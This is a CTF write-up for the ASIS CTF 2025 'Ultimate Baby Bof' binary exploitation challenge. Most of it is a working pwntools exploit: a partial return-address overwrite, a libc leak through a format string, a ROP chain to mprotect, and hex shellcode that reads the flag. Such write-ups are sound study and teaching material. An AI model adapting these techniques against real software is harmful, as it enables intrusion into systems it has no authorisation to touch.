ASIS CTF 2025 is my first CTF play with my new team SPL, and we work hard together to solve the challenges. I hope this CTF have more time to solve the challenges, rather than 24h only. And here is a write up for Ultimate Baby Bof
Challenge Information
Analysis
The program code is pretty simple:
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned __int64 n0x30; // rbx char buf[33]; // [rsp+7h] [rbp-21h] BYREF
for ( n0x30 = 0LL; n0x30 < 0x30; ++n0x30 ) { if ( read(0, buf, 1uLL) <= 0 ) break; if ( buf[0] == 10 ) break; buf[n0x30 + 1] = buf[0]; } return 0;}
it reads up to 48 bytes from stdin, one byte at a time, and stores them in buf
. The buffer buf
is only 33 bytes long, so there is a potential for a buffer overflow vulnerability here. Moreover, there also have a seccomp filter that blocks execve
, and execvat
syscall. My first thought that came to my mind was that this was just a normal pivot challenge until I realized that it doesn’t have the leave; ret
gadget. And the nightmare started, I spent 4 hours playing around with this binary and had no idea. Until @Corgo
told me that stderr forwarded to stdout.
#!/bin/shexec ./chall 2>&1
So that I pretty sure that I need to do something with stderr
, look around the binary, I found that we can partial overwrite the return address (because there is a main function so we can overwrite the return address, which is a libc address, to anywhere we want). And perro_interal
is in the 2-byte-overwrite range, which prints whatever’s at RSI to stderr.
0x15555532aa6a <perror_internal+102>: xor eax,eax 0x15555532aa6c <perror_internal+104>: call 0x155555385610 <__fxprintf>
The __fxprintf
function is a variadic function that takes a format string and a variable number of arguments, and prints the formatted string to the file stream specified by the first argument (in this case, stderr
).
int__fxprintf (FILE *fp, const char *fmt, ...){ va_list ap; va_start (ap, fmt); int res = __vfxprintf (fp, fmt, ap, 0); va_end (ap); return res;}
int__vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags){ if (fp == NULL) fp = stderr; _IO_flockfile (fp); int res = locked_vfxprintf (fp, fmt, ap, mode_flags); _IO_funlockfile (fp); return res;}
And we can control the RSI
via our input. We can use this to leak libc address, then build a ROP chain to call mprotect
to make the stack executable, and then read the shellcode from stdin and execute it.
Exploit
The exploit is pretty straightforward, because the stack frame is subtracted after calling one function, in this case by leverageing the perror_internal
return behavior, we know that we need to spray some padding so that when it
0x15555532aa85 <perror_internal+129>: add rsp,0x418 0x15555532aa8c <perror_internal+136>: pop rbx 0x15555532aa8d <perror_internal+137>: pop r12 0x15555532aa8f <perror_internal+139>: pop r13 0x15555532aa91 <perror_internal+141>: pop rbp 0x15555532aa92 <perror_internal+142>: ret
it add the stack frame back to 0x418
, then pop the registers and return.
sl(flat( b'A' * 0x10, exe.got.read, # rbx exe.bss()+0xe00, # rbp) + b'\x11\xaa')
# spray and praywrite(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
sl(flat( b'||%2$p||', b'A' * 0x8, exe.got.read, # rbx exe.bss()+0xe00, # rbp) + b'\x6a\xaa')
ru(b'||')libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)slog('libc base @ %#x', libc.address)
After leaking the libc address, everything is easy, but when I try to make our overflow size more bigger, I met a problem that the read function return -1, just because the rdx
I set is too big. After some googling, I foundd that the read
syscall has a size check that the count
parameter (in rdx
) must not larger than SSIZE_MAX
. One more thing is that our read must in invalid address range [buf, buf+count)
. In the most x64 Linux system, they use x86-64 ABI
. I found that when I change the kernel version to 6.6
which is default in WSL2, a kernel have a config CONFIG_X86_X32_ABI
which enable the x32
ABI, so that our size is truncate to 32 bit
, that mean we can read successfully. Just build a ROP chain to call mprotect
to make the stack executable, then read the shellcode from stdin and execute it.
sl(flat( 0, 0, 0, # rbx 0, # rbp libc.address+0x1ab46b, libc.sym.read)[:-1])
rop = ROP([libc])rop.rax = exe.bss()+0x500rop.raw(libc.address+0x1449ba)rop.raw(7)rop.mprotect(0x404000, 0x1000)
rop.raw(libc.address+0x1ab46b)rop.read(0,exe.bss()+0x50)rop.raw(libc.address+0x1ab41b)rop.raw(exe.bss()+0x50)
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")# print(disasm(shellcode))
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
# sl(cyclic(200))s(b'A' * cyclic_find(b'aaan') + rop.chain())
pause()sl(shellcode)
Full Exploit Code
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from time import sleep
exe = context.binary = ELF('./chall_patched', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-bata# b *_start+18# b *0x401228# b *perror_internal+13# b *perror_internal+102
b *($base("libc")+0x1ab41b)b *($base("libc")+0x1ab46b)c'''
def start(argv=[]): if args.LOCAL: p = exe.process() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p
def write(rbx, rbp, rip, trail=b'\n', next_ret=0x1337): s(flat( 0x69420, 0x17386969, # useless (?) rbx, # rbx rbp, # rbp rip, # rip next_ret # useless for this )[:-1]+trail)
# ==================== EXPLOIT ====================p = start()
sl(flat( b'A' * 0x10, exe.got.read, # rbx exe.bss()+0xe00, # rbp) + b'\x11\xaa')
# spray and praywrite(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
sl(flat( b'||%2$p||', b'A' * 0x8, exe.got.read, # rbx exe.bss()+0xe00, # rbp) + b'\x6a\xaa')
ru(b'||')libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)slog('libc base @ %#x', libc.address)
if args.GDB: gdb.attach(p, gdbscript=gdbscript) pause()
sl(flat( 0, 0, 0, # rbx 0, # rbp libc.address+0x1ab46b, libc.sym.read)[:-1])
rop = ROP([libc])rop.rax = exe.bss()+0x500rop.raw(libc.address+0x1449ba)rop.raw(7)rop.mprotect(0x404000, 0x1000)
rop.raw(libc.address+0x1ab46b)rop.read(0,exe.bss()+0x50)rop.raw(libc.address+0x1ab41b)rop.raw(exe.bss()+0x50)
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")# print(disasm(shellcode))
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
# sl(cyclic(200))s(b'A' * cyclic_find(b'aaan') + rop.chain())
pause()sl(shellcode)
interactive(flag=False)# ASIS{Y3t_4n0th3r_p0Ss1biL17y_0f_ROP_wow}